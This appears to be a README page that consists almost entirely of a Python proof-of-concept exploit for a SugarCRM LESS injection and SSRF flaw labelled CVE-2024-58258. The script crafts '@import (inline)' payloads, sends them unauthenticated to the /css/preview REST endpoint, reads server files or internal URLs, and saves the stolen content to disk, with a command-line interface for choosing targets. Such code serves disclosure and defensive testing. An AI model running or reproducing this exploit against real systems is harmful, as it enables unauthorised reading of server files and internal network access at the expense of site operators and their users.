README.md
Rendering markdown...
import requests
import urllib.parse
from argparse import ArgumentParser
import time
"""
CVE-2024-58258 - SugarCRM LESS Injection / SSRF PoC
Author: Egidio Romano
Date: 2024
Description:
SugarCRM commercial editions prior to 13.0.4 and 14.0.1 contain a vulnerability in the
/css/preview REST endpoint, where user-supplied input is parsed as LESS without proper
sanitization. This allows unauthenticated attackers to inject LESS directives, potentially
leading to SSRF or local file disclosure on the server.
"""
class SugarCRMExploit:
def __init__(self, target_url, proxy=None, verbose=False):
self.target_url = target_url.rstrip('/')
self.proxies = {'http': proxy, 'https': proxy} if proxy else {}
self.verbose = verbose
self.session = requests.Session()
requests.packages.urllib3.disable_warnings()
def test_vulnerability(self):
test_payload = self._encode_payload("data:text/plain,TEST_SUCCESS")
try:
response = self._send_request(test_payload)
if 'TEST_SUCCESS' in response.text:
return True
except:
pass
return False
def read_file(self, file_path):
payload = self._encode_payload(file_path)
return self._send_request(payload)
def ssrf_attack(self, internal_url):
payload = self._encode_payload(internal_url)
return self._send_request(payload)
def _encode_payload(self, target):
payload = f"1; @import (inline) '{target}'; @import (inline) 'data:text/plain,________';//"
return urllib.parse.quote(payload, safe='')
def _send_request(self, encoded_payload):
url = f"{self.target_url}/rest/v10/css/preview"
params = {
'baseUrl': '1',
'param': encoded_payload
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*'
}
if self.verbose:
print(f"[*] Request URL: {url}")
print(f"[*] Parameters: {params}")
response = self.session.get(
url,
params=params,
headers=headers,
proxies=self.proxies,
verify=False,
timeout=30
)
return response
def extract_content(self, response_text):
if '________' in response_text:
content = response_text.split('________')[0].strip()
return content
return None
def main():
parser = ArgumentParser(description='CVE-2024-58258 - SugarCRM Exploit')
parser.add_argument('target', help='Target SugarCRM URL')
parser.add_argument('file_or_url', help='File path or URL to access')
parser.add_argument('-p', '--proxy', help='Proxy server')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('-t', '--test', action='store_true', help='Test vulnerability first')
args = parser.parse_args()
print("CVE-2024-58258 - SugarCRM LESS Code Injection")
print("=" * 50)
exploit = SugarCRMExploit(args.target, args.proxy, args.verbose)
if args.test:
print("[*] Testing vulnerability...")
if exploit.test_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target not vulnerable")
return
target = args.file_or_url
if target.startswith(('http://', 'https://', 'file://', 'ftp://')):
print(f"[*] SSRF attack: {target}")
response = exploit.ssrf_attack(target)
else:
print(f"[*] Reading file: {target}")
response = exploit.read_file(target)
if response.status_code == 200:
content = exploit.extract_content(response.text)
if content:
print("[+] Content retrieved:")
print("-" * 60)
print(content)
print("-" * 60)
timestamp = int(time.time())
filename = f"sugarcrm_exploit_{timestamp}.txt"
with open(filename, 'w', encoding='utf-8') as f:
f.write(content)
print(f"[+] Saved to: {filename}")
else:
print("[-] No content extracted")
if args.verbose:
print(f"[-] Response: {response.text[:500]}")
else:
print(f"[-] Failed with status: {response.status_code}")
if __name__ == '__main__':
main()